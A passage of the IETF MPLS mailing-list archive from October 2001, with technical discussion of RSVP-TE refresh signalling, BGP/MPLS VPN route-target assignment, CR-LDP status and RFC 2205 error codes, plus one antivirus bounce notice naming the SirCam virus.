Because it's not necessary.

Reliability involves adding the MESSAGE_ID object to existing messages. 
If the neighbor switch doesn't support them, it will return PathErr and
ResvErr messages.  The sender will know whether or not the feature is
supported, based on whether messages are rejected.

Bundle and SRefresh, on the other hand, involve completely new
messages.  If the neighbor switch doesn't support them, it will silently
discard them - meaning the sender will not know that they were not
processed.  Hence the need to explicitly signal the capability via a bit
in the common header.

-- David


From owner-mpls@UU.NET  Mon Oct  1 10:47:09 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA19341
	for <mpls-archive@lists.ietf.org>; Mon, 1 Oct 2001 10:47:09 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQliwg08039;
	Mon, 1 Oct 2001 14:41:41 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQliwg04618
	for mpls-outgoing; Mon, 1 Oct 2001 14:41:08 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQliwg04562
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 1 Oct 2001 14:40:59 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQliwg24735
	for <mpls@UU.NET>; Mon, 1 Oct 2001 14:39:04 GMT
Received: from camlica-vw.koc.net by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: viruswall.koc.net [193.243.207.66])
	id QQliwg04632
	for <mpls@UU.NET>; Mon, 1 Oct 2001 14:39:14 GMT
Received: from 193.243.207.17 by camlica-vw.koc.net (InterScan E-Mail VirusWall NT); Mon, 01 Oct 2001 17:38:13 +0300 (GTB Daylight Time)
Received: by KN2IMS2.koc.root with Internet Mail Service (5.5.2653.19)
	id <TZCTPTL3>; Mon, 1 Oct 2001 17:38:40 +0300
Message-ID: <1141B228A874FE44A35CE4D4EDC98ACF013A446E@kn6srv1.kocnet.koc>
From: =?ISO-8859-9?Q?G=FCrkan_G=FClcan_=28Ko=E7=2ENet=29?=
	 <GurkanG@koc.net>
To: Sam Ford <samskford@yahoo.com>, erosen@cisco.com
Cc: mpls@UU.NET
Subject: RE: RT Import/Export in BGP/MPLS based VPN
Date: Mon, 1 Oct 2001 17:38:05 +0300 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="ISO-8859-9"
Sender: owner-mpls@UU.NET
Precedence: bulk

hi,
Q1
if you don't import 10:3 in 10:1 on PE and 10:2 on PE2, you couldn't reach
from 10:3 to 10:1 or 10:2 with to-way communication. and you must just
import 10:1, 10:2 and 10:3 to 10:3, not export 10:1 and 10:2 from the 10:3.

Q2
you can write route-map to change route-target. like this

access-list 1 permit 10.0.0.0 0.0.0.255
route-map routemap1 permit 10
match ip address 1
set extcommunity rt 10:2 10:3

ip vrf temp
export map routemap1


best regards

Gurkan Gulcan

-----Original Message-----
From: Sam Ford [mailto:samskford@yahoo.com]
Sent: Saturday, September 29, 2001 11:11 PM
To: erosen@cisco.com
Cc: mpls@UU.NET
Subject: RT Import/Export in BGP/MPLS based VPN


Hello,

I have a doubt on the assignment of RT in BGP/MPLS
VPN,
a little bit off topic from the threat.

I was confused about the assignment of RT when going
through examples in various materials.

Let's say, there are 2 VPNs, in ASN 10.

VPN-1: CE-1 - PE-1, and other sites in full mesh
VPN-2: CE-2 - PE-2, and other sites in full mesh

And one server: CE-3 - PE-3

I want to conntect only CE-1 & CE-2 sites with CE-3
in Central Services VPN topology. (CE-3 does not act
as
transit between CE-1 & CE-2, CE-1 & CE-2 cannot
communicate). So, I assigned RTs as follows:

In PE-1:
  RD: 10:1
  Export/Import: 10:1

In PE-2:
  RD: 10:2
  Export/Import: 10:2

In PE-3:
  RD: 10:3
  Export/Import: 10:1
  Export/Import: 10:2

Assuming there's no IP address overlap among those
sites.

Q1, wouldn't this RT assignment work?

In the examples I've seen, RTs are assinged as
follows:

In PE-1:
  RD: 10:1
  Export/Import: 10:1
  Import: 10:3
  Export: 10:4

In PE-2:
  RD: 10:2
  Export/Import: 10:2
  Import: 10:3
  Export: 10:4

In PE-3:
  RD: 10:3
  Export: 10:3
  Import: 10:4

Q2, Is there any reason to do this way?

Q3, Above, am I creating a new VPN (3) by connecting
CE-3
  to CE-1 & CE-2? Or am I making CE-3 to belong to
  both the existing VPNs (VPN-1 & VPN-2)?

I would appreciate any clarification,
-SF

-----Original Message-----
From:	Eric Rosen [SMTP:erosen@cisco.com]
Sent:	Friday, September 28, 2001 12:39 PM
To:	Eric Gray
Cc:	Ajay Simha; Jay Karthik; MPLS mailing list
Subject:	Re: LDP usage in MPLS based VPNs 


In  the  "hub  and spoke"  case  that  Ajay 
mentioned,  the intent  is  the
following. 

Let H be the  hub, S1 and S2 the spokes.  Let A be 
the address prefix for a
subnet that attaches to S2.  What we want is:

- S1 thinks the route to A is via H. 

- H thinks the route to A is via S2. 

Thus traffic from S1 to A goes via H and then on to
S2. 

To make this work, S2 must distribute a route RD1:A,
and H must distribute a 
route RD2:A.   Both these  routes have to  be able  to
pass through  a route
reflector, since  RD1:A must make  it to  H, and RD2:A
 must make it  to S1.
This  implies that  RD1  must be  different  than RD2;
 otherwise the  route
reflector could not pass on both routes. 

Given that S1,  S2, and H are in the  same VPN, this
is a  case in which you
couldn't just replace the RD with a VPN-id.  There
might also be other cases
in which  you want to pass around  two different
routes to  the same address
prefix, using  policy to decide which  to install
where  (presumably in some
manner that ensures loop-freedom). 



__________________________________________________
Do You Yahoo!?
Listen to your Yahoo! Mail messages from any phone.
http://phone.yahoo.com


From owner-mpls@UU.NET  Mon Oct  1 11:35:38 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA20755
	for <mpls-archive@lists.ietf.org>; Mon, 1 Oct 2001 11:35:38 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQliwk23956;
	Mon, 1 Oct 2001 15:31:42 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQliwk27384
	for mpls-outgoing; Mon, 1 Oct 2001 15:31:11 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQliwk27379
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 1 Oct 2001 15:31:10 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQliwk26617
	for <mpls@uu.net>; Mon, 1 Oct 2001 15:30:03 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQliwk21125
	for <mpls@uu.net>; Mon, 1 Oct 2001 15:30:13 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id LAA15788 for <mpls@uu.net>; Mon, 1 Oct 2001 11:30:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id LAA14276 for mpls@uu.net; Mon, 1 Oct 2001 11:30:02 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQliwj27176
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 1 Oct 2001 15:29:40 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQliwj12964
	for <mpls@UU.NET>; Mon, 1 Oct 2001 15:29:29 GMT
Received: from web14401.mail.yahoo.com by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web14401.mail.yahoo.com [216.136.174.58])
	id QQliwj10807
	for <mpls@UU.NET>; Mon, 1 Oct 2001 15:29:22 GMT
Message-ID: <20011001152928.78893.qmail@web14401.mail.yahoo.com>
Received: from [38.246.253.2] by web14401.mail.yahoo.com via HTTP; Mon, 01 Oct 2001 08:29:28 PDT
Date: Mon, 1 Oct 2001 08:29:28 -0700 (PDT)
From: Sam Ford <samskford@yahoo.com>
Subject: CR-LDP vs RSVP-TE
To: ccamp-approval@psg.com, mpls@UU.NET
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

Hello,

I have one doubt regarding CR-LDP.

I heard a couple of
times that IETF decided to proceed with only one
protocol for TE signaling, RSVP-TE,
from MPLS and CCAMP lists.

However, I'm still seeing updates to drafts defining
extensions both to CR-LDP and RSVP-TE.

I would appreciate if anyone can clarify on this
aspect. What is the need for continuing with CR-LDP
if WGs decided not to promote CR-LDP?

Sorry if I'm asking something which is obvious to
everyone else. I'm cross posting this question
to both MPLS and CCAMP. Please drop one of them
in your reply if you think it's not relevant
to the group.
Regards,
-SF

> Subject:	update GMPLS signaling documents
> Updated versions of the signaling and RSVP-TE
> documents have been 
> submitted. The CR-LDP version is forthcoming.



__________________________________________________
Do You Yahoo!?
Listen to your Yahoo! Mail messages from any phone.
http://phone.yahoo.com



From owner-mpls@UU.NET  Mon Oct  1 14:19:13 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA25867
	for <mpls-archive@lists.ietf.org>; Mon, 1 Oct 2001 14:19:13 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQliwv09555;
	Mon, 1 Oct 2001 18:16:02 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQliwv05561
	for mpls-outgoing; Mon, 1 Oct 2001 18:15:46 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQliwv05556
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 1 Oct 2001 18:15:38 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQliwv27625
	for <mpls@uu.net>; Mon, 1 Oct 2001 18:15:03 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQliwv07318
	for <mpls@uu.net>; Mon, 1 Oct 2001 18:15:15 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id OAA07927 for <mpls@uu.net>; Mon, 1 Oct 2001 14:15:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id OAA21655 for mpls@uu.net; Mon, 1 Oct 2001 14:15:02 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQliwu05010
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 1 Oct 2001 18:11:08 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQliwu11984
	for <mpls@UU.NET>; Mon, 1 Oct 2001 18:11:00 GMT
Received: from web14405.mail.yahoo.com by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web14405.mail.yahoo.com [216.136.174.62])
	id QQliwu01853
	for <mpls@UU.NET>; Mon, 1 Oct 2001 18:11:12 GMT
Message-ID: <20011001181059.29832.qmail@web14405.mail.yahoo.com>
Received: from [38.246.253.2] by web14405.mail.yahoo.com via HTTP; Mon, 01 Oct 2001 11:10:59 PDT
Date: Mon, 1 Oct 2001 11:10:59 -0700 (PDT)
From: Sam Ford <samskford@yahoo.com>
Subject: RE: RT Import/Export in BGP/MPLS based VPN
To: "Gürkan_Gülcan_" <GurkanG@koc.net>, erosen@cisco.com
Cc: mpls@UU.NET
In-Reply-To: <1141B228A874FE44A35CE4D4EDC98ACF013A446E@kn6srv1.kocnet.koc>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

Hello,

Maybe, I'm getting into too much detail but I would
like to understand the limitation in RT
usage/assignment.

For the Q1, if I specify Export 10:1 and 10:2
in PE-3, all the routes coming from CE-3 will be
tagged with route targets, both 10:1 & 10:2, and
hence PE-1 will be able to import those routes
since those routes from PE-3 carries 10:1 in addition
to 10:2.

Or, maybe I'm missing something. Does RT need to
be the same as RD for a given VRF? I didn't see
any such a restriction.

Regards,
-SF

--- Gürkan_Gülcan_(Koç.Net) <GurkanG@koc.net> wrote:
> hi,
> Q1
> if you don't import 10:3 in 10:1 on PE and 10:2 on
> PE2, you couldn't reach
> from 10:3 to 10:1 or 10:2 with to-way communication.
> and you must just
> import 10:1, 10:2 and 10:3 to 10:3, not export 10:1
> and 10:2 from the 10:3.
> 
> Q2
> you can write route-map to change route-target. like
> this
> 
> access-list 1 permit 10.0.0.0 0.0.0.255
> route-map routemap1 permit 10
> match ip address 1
> set extcommunity rt 10:2 10:3
> 
> ip vrf temp
> export map routemap1
> 
> 
> best regards
> 
> Gurkan Gulcan
> 
> -----Original Message-----
> From: Sam Ford [mailto:samskford@yahoo.com]
> Sent: Saturday, September 29, 2001 11:11 PM
> To: erosen@cisco.com
> Cc: mpls@UU.NET
> Subject: RT Import/Export in BGP/MPLS based VPN
> 
> 
> Hello,
> 
> I have a doubt on the assignment of RT in BGP/MPLS
> VPN,
> a little bit off topic from the threat.
> 
> I was confused about the assignment of RT when going
> through examples in various materials.
> 
> Let's say, there are 2 VPNs, in ASN 10.
> 
> VPN-1: CE-1 - PE-1, and other sites in full mesh
> VPN-2: CE-2 - PE-2, and other sites in full mesh
> 
> And one server: CE-3 - PE-3
> 
> I want to conntect only CE-1 & CE-2 sites with CE-3
> in Central Services VPN topology. (CE-3 does not act
> as
> transit between CE-1 & CE-2, CE-1 & CE-2 cannot
> communicate). So, I assigned RTs as follows:
> 
> In PE-1:
>   RD: 10:1
>   Export/Import: 10:1
> 
> In PE-2:
>   RD: 10:2
>   Export/Import: 10:2
> 
> In PE-3:
>   RD: 10:3
>   Export/Import: 10:1
>   Export/Import: 10:2
> 
> Assuming there's no IP address overlap among those
> sites.
> 
> Q1, wouldn't this RT assignment work?
> 
> In the examples I've seen, RTs are assinged as
> follows:
> 
> In PE-1:
>   RD: 10:1
>   Export/Import: 10:1
>   Import: 10:3
>   Export: 10:4
> 
> In PE-2:
>   RD: 10:2
>   Export/Import: 10:2
>   Import: 10:3
>   Export: 10:4
> 
> In PE-3:
>   RD: 10:3
>   Export: 10:3
>   Import: 10:4
> 
> Q2, Is there any reason to do this way?
> 
> Q3, Above, am I creating a new VPN (3) by connecting
> CE-3
>   to CE-1 & CE-2? Or am I making CE-3 to belong to
>   both the existing VPNs (VPN-1 & VPN-2)?
> 
> I would appreciate any clarification,
> -SF
> 
> -----Original Message-----
> From:	Eric Rosen [SMTP:erosen@cisco.com]
> Sent:	Friday, September 28, 2001 12:39 PM
> To:	Eric Gray
> Cc:	Ajay Simha; Jay Karthik; MPLS mailing list
> Subject:	Re: LDP usage in MPLS based VPNs 
> 
> 
> In  the  "hub  and spoke"  case  that  Ajay 
> mentioned,  the intent  is  the
> following. 
> 
> Let H be the  hub, S1 and S2 the spokes.  Let A be 
> the address prefix for a
> subnet that attaches to S2.  What we want is:
> 
> - S1 thinks the route to A is via H. 
> 
> - H thinks the route to A is via S2. 
> 
> Thus traffic from S1 to A goes via H and then on to
> S2. 
> 
> To make this work, S2 must distribute a route RD1:A,
> and H must distribute a 
> route RD2:A.   Both these  routes have to  be able 
> to
> pass through  a route
> reflector, since  RD1:A must make  it to  H, and
> RD2:A
>  must make it  to S1.
> This  implies that  RD1  must be  different  than
> RD2;
>  otherwise the  route
> reflector could not pass on both routes. 
> 
> Given that S1,  S2, and H are in the  same VPN, this
> is a  case in which you
> couldn't just replace the RD with a VPN-id.  There
> might also be other cases
> in which  you want to pass around  two different
> routes to  the same address
> prefix, using  policy to decide which  to install
> where  (presumably in some
> manner that ensures loop-freedom). 
> 
> 
> 
> __________________________________________________
> Do You Yahoo!?
> Listen to your Yahoo! Mail messages from any phone.
> http://phone.yahoo.com


__________________________________________________
Do You Yahoo!?
Listen to your Yahoo! Mail messages from any phone.
http://phone.yahoo.com



From owner-mpls@UU.NET  Mon Oct  1 16:04:01 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA29207
	for <mpls-archive@lists.ietf.org>; Mon, 1 Oct 2001 16:04:00 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlixc22914;
	Mon, 1 Oct 2001 20:02:28 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlixc10130
	for mpls-outgoing; Mon, 1 Oct 2001 20:01:59 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlixc08974
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 1 Oct 2001 20:01:49 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlixc11892
	for <mpls@uu.net>; Mon, 1 Oct 2001 20:01:03 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlixc20913
	for <mpls@uu.net>; Mon, 1 Oct 2001 20:01:15 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id QAA23045 for <mpls@uu.net>; Mon, 1 Oct 2001 16:01:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id QAA26541 for mpls@uu.net; Mon, 1 Oct 2001 16:01:02 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlixc04601
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 1 Oct 2001 20:00:35 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlixb27833
	for <mpls@uu.net>; Mon, 1 Oct 2001 19:59:28 GMT
Received: from hongkong.com by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: [202.84.12.149])
	id QQlixb03777
	for <mpls@uu.net>; Mon, 1 Oct 2001 19:59:38 GMT
Received: from hongkong.com([10.1.0.101]) by hongkong.com(JetMail 2.5.3.0)
	with SMTP id jm43bb8ed02; Mon,  1 Oct 2001 19:59:53 -0000
Received: from cmr2.ash.ops.us.uu.net([198.5.241.40]) by hongkong.com(JetMail 2.5.3.0)
	with SMTP id jm13d3bb170cb; Wed, 26 Sep 2001 03:59:50 -0000
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlice27248;
	Wed, 26 Sep 2001 04:03:01 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlice04720
	for mpls-outgoing; Wed, 26 Sep 2001 04:01:51 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlice03791
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 26 Sep 2001 04:01:39 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlice00808
	for <mpls@uu.net>; Wed, 26 Sep 2001 04:01:20 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlice27025
	for <mpls@uu.net>; Wed, 26 Sep 2001 04:01:31 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id AAA15796 for <mpls@uu.net>; Wed, 26 Sep 2001 00:01:19 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id AAA15815 for mpls@uu.net; Wed, 26 Sep 2001 00:01:19 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlice01022
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 26 Sep 2001 04:00:36 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlice26666
	for <mpls@UU.NET>; Wed, 26 Sep 2001 04:00:00 GMT
From: MHDHUB02@marconi.com
Received: from notes.marconicommsna.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [208.43.60.106])
	id QQlicd21664
	for <mpls@UU.NET>; Wed, 26 Sep 2001 03:59:54 GMT
X-Priority: 3 (Normal)
Date: Wed, 26 Sep 2001 00:03:45 -0400
Subject: Report to Recipient(s)
To: mpls@UU.NET
Message-ID: <OFE60FCB23.43151AB7-ON85256AD3.00165178@marconicommsna.com>
X-MIMETrack: Serialize by Router on MHDGWY02/S/EXT/MC1(Release 5.0.8 |June 18, 2001) at
 09/25/2001 11:53:35 PM
MIME-Version: 1.0
Content-type: text/plain; charset=iso-8859-1
X-Auto-Forward: bennith@i-cable.com
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id QAA29207

Incident Information:-

Originator:    owner-mpls@UU.NET
Recipients:    mpls@UU.NET
Subject:  0802 IPNA¿ä±¸»çÇ×

WARNING:  The file 0802 IPNA¿ä±¸»çÇ×.doc.bat you received was infected with
the W32/SirCam@MM virus.  The file attachment was not successfully cleaned.



From owner-mpls@UU.NET  Mon Oct  1 16:17:33 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA29580
	for <mpls-archive@lists.ietf.org>; Mon, 1 Oct 2001 16:17:33 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlixd18479;
	Mon, 1 Oct 2001 20:16:07 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlixc22212
	for mpls-outgoing; Mon, 1 Oct 2001 20:14:46 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlixc22176
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 1 Oct 2001 20:14:38 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlixc19900
	for <mpls@UU.NET>; Mon, 1 Oct 2001 20:13:43 GMT
Received: from dnsmx2pya.telcordia.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: dnsmx2pya.telcordia.com [128.96.20.32])
	id QQlixc14926
	for <mpls@UU.NET>; Mon, 1 Oct 2001 20:13:55 GMT
Received: from notes640.cc.telcordia.com (notes640.cc.telcordia.com [128.96.22.6])
	by dnsmx2pya.telcordia.com (8.9.3/8.9.3) with ESMTP id QAA29593;
	Mon, 1 Oct 2001 16:11:11 -0400 (EDT)
Subject: RE: RSVPTE questions
To: "Feng, Mark" <m_feng@trillium.com>
Cc: mpls@UU.NET
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
Message-ID: <OFB6DECA77.EE6EAC76-ON85256AD8.006E693D@cc.telcordia.com>
From: "Hong Liao" <hliao@telcordia.com>
Date: Mon, 1 Oct 2001 16:11:12 -0400
X-MIMETrack: Serialize by Router on notes640/Telcordia(Release 5.0.6a |January 17, 2001) at
 10/01/2001 04:11:12 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk


1.  [Mark] I don't quite understand what you mean by "error code 23 will
not be
reported to the end system". Why not?

It is written down on the spec 2205 on Appendix B.

2.3.    [Mark] The error message should be generated.
  I agree with you, expect error condition for error code 23.

3.  Each object is identified by object class number and C-Type. Depends on
the
class number, the unknown-class objects can be rejected, dropped,
forwarded.
When it is rejected, error code "unknown object class" should be used. I
have no idea where you find "Unknown object Class-Num. (error code 23)".
Error code 23 is "RSVP System error".

There is error conditon under error code 23:   Unknown object
Class-Num(spec 2205 page 96)
and there is error code for Unknown object Class #13, what is the
difference between these two?

Julia




                                                                                                              
                    "Feng, Mark"                                                                              
                    <m_feng@trill        To:     "'Hong Liao'" <hliao@telcordia.com>                          
                    ium.com>             cc:     (bcc: Hong Liao/Telcordia)                                   
                                         Subject:     RE: RSVPTE questions                                    
                    09/05/01                                                                                  
                    04:34 PM                                                                                  
                                                                                                              
                                                                                                              





Please see comments below.

- Mark

> -----Original Message-----
> From: Hong Liao [mailto:hliao@telcordia.com]
> Sent: Wednesday, September 05, 2001 11:35 AM
> To: mpls@UU.NET
> Subject: RSVPTE questions
>
>
> Hi,
>
> The rfc 2205 -- APPENDIX B. Error Codes and Values, I found
> some of them
> will not generate error msg back.  As I know, the error code
> 23 will not be
> reported to the end system.  But others suppose to send back
> resverr or
> patherr back with error code and value or not?
>

[Mark] I don't quite understand what you mean by "error code 23 will not be
reported to the end system". Why not?

> I found the following two, if error is generated in the resv msg, the
> ingress will not send the resverr back, and just not
> forwarding the resv
> msg.  So I was wondering all the error code in this appendix
> B, error msg
> suppose to be sent our or not.
>
> 1.  Error Code = 05: Conflicting reservation style
>
>         Reservation style conflicts with style(s) of existing
>         reservation state.  The Error Value field contains
> the low-order
>         16 bits of the Option Vector of the existing style with which
>         the conflict occurred.  This Resv message cannot be forwarded.
>
> 2.   Error Code = 06: Unknown reservation style
>
>         Reservation style is unknown.  This Resv message cannot be
>         forwarded.
>
> 3.  Also what is considered the bad Tspec, or flowspec.
>        Error Code = 21: Traffic Control Error
>
>         Traffic Control call failed due to the format or
> contents of the
>         parameters to the request.  The Resv or Path message
> that caused
>         the call cannot be forwarded, and repeating the call would be
>         futile.
> Here it says the resv or path msg can not be forwarded, so
> how about the
> error msg, they will be generated or not?
>

[Mark] The error message should be generated.

> 4.  what is the difference between these two.
>
>  o    Unknown object Class-Num. (error code 23)
>
> Error Code = 13: Unknown object class
>
>         Error Value contains 16-bit value composed of (Class-Num, C-
>         Type) of unknown object.  This error should be sent
> only if RSVP
>         is going to reject the message, as determined by the
> high-order
>         bits of the Class-Num.  This Error Code may appear in
> a PathErr
>         or ResvErr message.

Each object is identified by object class number and C-Type. Depends on the
class number, the unknown-class objects can be rejected, dropped,
forwarded.
When it is rejected, error code "unknown object class" should be used. I
have no idea where you find "Unknown object Class-Num. (error code 23)".
Error code 23 is "RSVP System error".

>
> Thanks,
>
> Julia
>
>





From owner-mpls@UU.NET  Mon Oct  1 16:37:29 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA00294
	for <mpls-archive@lists.ietf.org>; Mon, 1 Oct 2001 16:37:29 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlixe11243;
	Mon, 1 Oct 2001 20:36:10 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlixe23683
	for mpls-outgoing; Mon, 1 Oct 2001 20:35:47 GMT
